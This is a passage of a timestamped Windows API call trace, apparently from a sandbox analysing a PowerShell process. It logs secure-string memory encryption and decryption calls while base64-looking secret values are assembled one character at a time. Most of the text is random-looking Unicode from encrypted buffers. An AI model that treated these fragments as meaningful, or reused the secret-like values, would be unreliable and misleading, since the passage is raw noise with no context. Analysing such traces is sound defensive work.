(param_1="渀툦놽ꂡ攍䇉뤸ꈋ슞﮼⁅걷\쇝쇹䔻易졖簩㟭喿⓼靥ᯔ돞\槜ꠋ긝఩ڥ㗡塬㸚間덚㲩") returned 0x28 [0253.157] SystemFunction041 (in: Memory=0x3af56c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af56c) returned 0x0 [0253.157] SysStringLen (param_1="BrpFoaQ5QX8MPcBlfo9BkY3l62HniqLPDSvYAṴ\ዝ⋁) returned 0x28 [0253.157] SystemFunction040 (in: Memory=0x3af56c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af56c) returned 0x0 [0253.157] SysStringLen (param_1="渀툦놽ꂡ攍䇉뤸ꈋ슞﮼⁅걷\쇝쇹䔻易졖簩㟭喿⓼靥ᯔ돞\槜ꠋ긝఩\ⷜ١杨䡹箫⋤襎≁) returned 0x28 [0253.157] SysStringLen (param_1="渀툦놽ꂡ攍䇉뤸ꈋ슞﮼⁅걷\쇝쇹䔻易졖簩㟭喿⓼靥ᯔ돞\槜ꠋ긝఩\ⷜ١杨䡹箫⋤襎≁) returned 0x28 [0253.157] SystemFunction041 (in: Memory=0x3af56c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af56c) returned 0x0 [0253.157] SysStringLen (param_1="BrpFoaQ5QX8MPcBlfo9BkY3l62HniqLPDSvYAU\ዝ⋁) returned 0x28 [0253.157] SystemFunction040 (in: Memory=0x3af56c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af56c) returned 0x0 [0253.158] SysStringLen (param_1="渀툦놽ꂡ攍䇉뤸ꈋ슞﮼⁅걷\쇝쇹䔻易졖簩㟭喿⓼靥ᯔ돞\槜ꠋ긝఩辸๋ꧬ좲壞䄓") returned 0x28 [0253.158] SysStringLen (param_1="渀툦놽ꂡ攍䇉뤸ꈋ슞﮼⁅걷\쇝쇹䔻易졖簩㟭喿⓼靥ᯔ돞\槜ꠋ긝఩辸๋ꧬ좲壞䄓") returned 0x28 [0253.158] SystemFunction041 (in: Memory=0x3af56c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af56c) returned 0x0 [0253.158] SysStringLen (param_1="BrpFoaQ5QX8MPcBlfo9BkY3l62HniqLPDSvYAUi섒") returned 0x28 [0253.158] SystemFunction040 (in: Memory=0x3af56c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af56c) returned 0x0 [0253.158] SysStringLen (param_1="渀툦놽ꂡ攍䇉뤸ꈋ슞﮼⁅걷\쇝쇹䔻易졖簩㟭喿⓼靥ᯔ돞\槜ꠋ긝఩⪦埞嗀愿๱彦凩") returned 0x28 [0253.158] SysStringLen (param_1="渀툦놽ꂡ攍䇉뤸ꈋ슞﮼⁅걷\쇝쇹䔻易졖簩㟭喿⓼靥ᯔ돞\槜ꠋ긝఩⪦埞嗀愿๱彦凩") returned 0x28 [0253.158] SystemFunction041 (in: Memory=0x3af56c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af56c) returned 0x0 [0253.158] SysStringLen (param_1="BrpFoaQ5QX8MPcBlfo9BkY3l62HniqLPDSvYAUid") returned 0x28 [0253.159] SystemFunction040 (in: Memory=0x3af56c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af56c) returned 0x0 [0253.159] SysStringLen (param_1="渀툦놽ꂡ攍䇉뤸ꈋ슞﮼⁅걷\쇝쇹䔻易졖簩㟭喿⓼靥ᯔ돞\槜ꠋ긝఩䲝⁅繖ᶛ諾㌇\嗛⋘) returned 0x28 [0253.159] SysStringLen (param_1="渀툦놽ꂡ攍䇉뤸ꈋ슞﮼⁅걷\쇝쇹䔻易졖簩㟭喿⓼靥ᯔ돞\槜ꠋ긝఩䲝⁅繖ᶛ諾㌇\嗛⋘) returned 0x28 [0253.159] SysStringLen (param_1="渀툦놽ꂡ攍䇉뤸ꈋ슞﮼⁅걷\쇝쇹䔻易졖簩㟭喿⓼靥ᯔ돞\槜ꠋ긝఩䲝⁅繖ᶛ諾㌇\嗛⋘) returned 0x28 [0253.160] SysStringLen (param_1="渀툦놽ꂡ攍䇉뤸ꈋ슞﮼⁅걷\쇝쇹䔻易졖簩㟭喿⓼靥ᯔ돞\槜ꠋ긝఩䲝⁅繖ᶛ諾㌇\嗛⋘) returned 0x30 [0253.160] SystemFunction041 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0253.160] SysStringLen (param_1="BrpFoaQ5QX8MPcBlfo9BkY3l62HniqLPDSvYAUid0ᣐिꝕđ蕸ꢈᕮ") returned 0x30 [0253.160] SystemFunction040 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0253.160] SysStringLen (param_1="渀툦놽ꂡ攍䇉뤸ꈋ슞﮼⁅걷\쇝쇹䔻易졖簩㟭喿⓼靥ᯔ돞\槜ꠋ긝఩䲝⁅繖ᶛ諾㌇\嗛ꇘ\闚䰑痷脌䎁蚢邎") returned 0x30 [0253.160] SysStringLen (param_1="渀툦놽ꂡ攍䇉뤸ꈋ슞﮼⁅걷\쇝쇹䔻易졖簩㟭喿⓼靥ᯔ돞\槜ꠋ긝఩䲝⁅繖ᶛ諾㌇\嗛ꇘ\闚䰑痷脌䎁蚢邎") returned 0x30 [0253.160] SystemFunction041 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0253.160] SysStringLen (param_1="BrpFoaQ5QX8MPcBlfo9BkY3l62HniqLPDSvYAUid09िꝕđ蕸ꢈᕮ") returned 0x30 [0253.160] SystemFunction040 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0253.161] SysStringLen (param_1="渀툦놽ꂡ攍䇉뤸ꈋ슞﮼⁅걷\쇝쇹䔻易졖簩㟭喿⓼靥ᯔ돞\槜ꠋ긝఩䲝⁅繖ᶛ諾㌇\嗛䓘늕⃓孬䏲ᣀ⊧) returned 0x30 [0253.161] SysStringLen (param_1="渀툦놽ꂡ攍䇉뤸ꈋ슞﮼⁅걷\쇝쇹䔻易졖簩㟭喿⓼靥ᯔ돞\槜ꠋ긝఩䲝⁅繖ᶛ諾㌇\嗛䓘늕⃓孬䏲ᣀ⊧) returned 0x30 [0253.161] SystemFunction041 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0253.161] SysStringLen (param_1="BrpFoaQ5QX8MPcBlfo9BkY3l62HniqLPDSvYAUid09wꝕđ蕸ꢈᕮ") returned 0x30 [0253.161] SystemFunction040 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0253.161] SysStringLen (param_1="渀툦놽ꂡ攍䇉뤸ꈋ슞﮼⁅걷\쇝쇹䔻易졖簩㟭喿⓼靥ᯔ돞\槜ꠋ긝఩䲝⁅繖ᶛ諾㌇\嗛님鸊沣㗜෗୆翷➇≁) returned 0x30 [0253.161] SysStringLen (param_1="渀툦놽ꂡ攍䇉뤸ꈋ슞﮼⁅걷\쇝쇹䔻易졖簩㟭喿⓼靥ᯔ돞\槜ꠋ긝఩䲝⁅繖ᶛ諾㌇\嗛님鸊沣㗜෗୆翷➇≁) returned 0x30 [0253.161] SystemFunction041 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0253.161] SysStringLen (param_1="BrpFoaQ5QX8MPcBlfo9BkY3l62HniqLPDSvYAUid09w=đ蕸ꢈᕮ") returned 0x30 [0253.161] SystemFunction040 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0253.162] EtwEventActivityIdControl () returned 0x0 [0253.209] EtwEventActivityIdControl () returned 0x0 [0253.209] EtwEventActivityIdControl () returned 0x0 [0253.210] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e684, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0253.210] EtwEventActivityIdControl () returned 0x0 [0253.210] EtwEventActivityIdControl () returned 0x0 [0253.210] EtwEventActivityIdControl () returned 0x0 [0253.211] SysStringLen (param_1="") returned 0x8 [0253.211] SysStringLen (param_1="N") returned 0x8 [0253.211] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0253.211] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0253.211] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0253.211] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0253.211] SysStringLen (param_1="ND") returned 0x8 [0253.211] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0253.212] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0253.212] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0253.212] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0253.212] SysStringLen (param_1="NDZ") returned 0x8 [0253.212] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0253.212] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0253.212] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0253.212] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0253.212] SysStringLen (param_1="NDZl") returned 0x8 [0253.212] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0253.212] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0253.212] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0253.212] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0253.213] SysStringLen (param_1="NDZlO") returned 0x8 [0253.213] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0253.213] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0253.213] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0253.213] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0253.213] SysStringLen (param_1="NDZlOD") returned 0x8 [0253.213] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0253.213] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0253.213] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0253.213] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0253.213] SysStringLen (param_1="NDZlODR") returned 0x8 [0253.213] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0253.213] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0253.213] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0253.214] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0253.214] SysStringLen (param_1="NDZlODRm") returned 0x8 [0253.214] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0253.214] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0253.214] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0253.214] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0253.215] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x10 [0253.215] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0253.215] SysStringLen (param_1="NDZlODRmY뮇펬᠚࣢ᣆ㬞勉") returned 0x10 [0253.215] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0253.215] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0253.215] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0253.215] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0253.215] SysStringLen (param_1="NDZlODRmYz펬᠚࣢ᣆ㬞勉") returned 0x10 [0253.215] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0253.215] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0253.215] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0253.215] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0253.216] SysStringLen (param_1="NDZlODRmYzN᠚࣢ᣆ㬞勉") returned 0x10 [0253.216] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0253.216] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0253.216] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0253.216] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0253.216] SysStringLen (param_1="NDZlODRmYzNl࣢ᣆ㬞勉") returned 0x10 [0253.216] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0253.216] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0253.216] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0253.216] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0253.216] SysStringLen (param_1="NDZlODRmYzNlYᣆ㬞勉") returned 0x10 [0253.216] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0253.216] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0253.217] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0253.217] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0253.217] SysStringLen (param_1="NDZlODRmYzNlYT㬞勉") returned 0x10 [0253.217] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0253.217] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0253.217] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0253.217] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0253.217] SysStringLen (param_1="NDZlODRmYzNlYTJ勉") returned 0x10 [0253.217] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0253.217] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0253.217] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0253.217] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0253.217] SysStringLen (param_1="NDZlODRmYzNlYTJh") returned 0x10 [0253.218] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0253.218] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0253.218] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0253.218] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0253.218] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x18 [0253.218] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0253.218] SysStringLen (param_1="NDZlODRmYzNlYTJhM虵亅㸱멷嘇ꚺ") returned 0x18 [0253.219] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0253.219] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0253.219] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0253.219] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0253.219] SysStringLen (param_1="NDZlODRmYzNlYTJhMD亅㸱멷嘇ꚺ") returned 0x18 [0253.219] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0253.219] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0253.219] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0253.219] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0253.219] SysStringLen (param_1="NDZlODRmYzNlYTJhMDF㸱멷嘇ꚺ") returned 0x18 [0253.219] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0253.219] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0253.219] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0253.219] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0253.220] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFl멷嘇ꚺ") returned 0x18 [0253.220] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0253.220] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0253.220] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0253.220] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0253.220] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlM嘇ꚺ") returned 0x18 [0253.220] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0253.220] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0253.220] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0253.220] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0253.220] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTꚺ") returned 0x18 [0253.220] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0253.221] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0253.221] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0253.221] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0253.221] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTU") returned 0x18 [0253.221] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0253.221] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0253.221] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0253.221] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0253.221] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUw") returned 0x18 [0253.221] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0253.221] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0253.222] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0253.222] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0253.222] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x20 [0253.222] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0253.222] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZㄵ㋛仄杫ℂ︸饉") returned 0x20 [0253.222] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0253.222] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0253.222] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0253.222] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0253.222] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZD㋛仄杫ℂ︸饉") returned 0x20 [0253.222] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0253.223] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0253.223] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0253.223] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0253.223] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE仄杫ℂ︸饉") returned 0x20 [0253.223] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0253.223] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0253.223] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0253.223] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0253.223] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3杫ℂ︸饉") returned 0x20 [0253.223] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0253.223] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0253.223] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0253.223] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0253.224] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yℂ︸饉") returned 0x20 [0253.224] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0253.224] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0253.224] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0253.224] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0253.224] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yz︸饉") returned 0x20 [0253.224] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0253.224] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0253.224] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0253.224] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0253.224] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzd饉") returned 0x20 [0253.224] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0253.224] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0253.225] 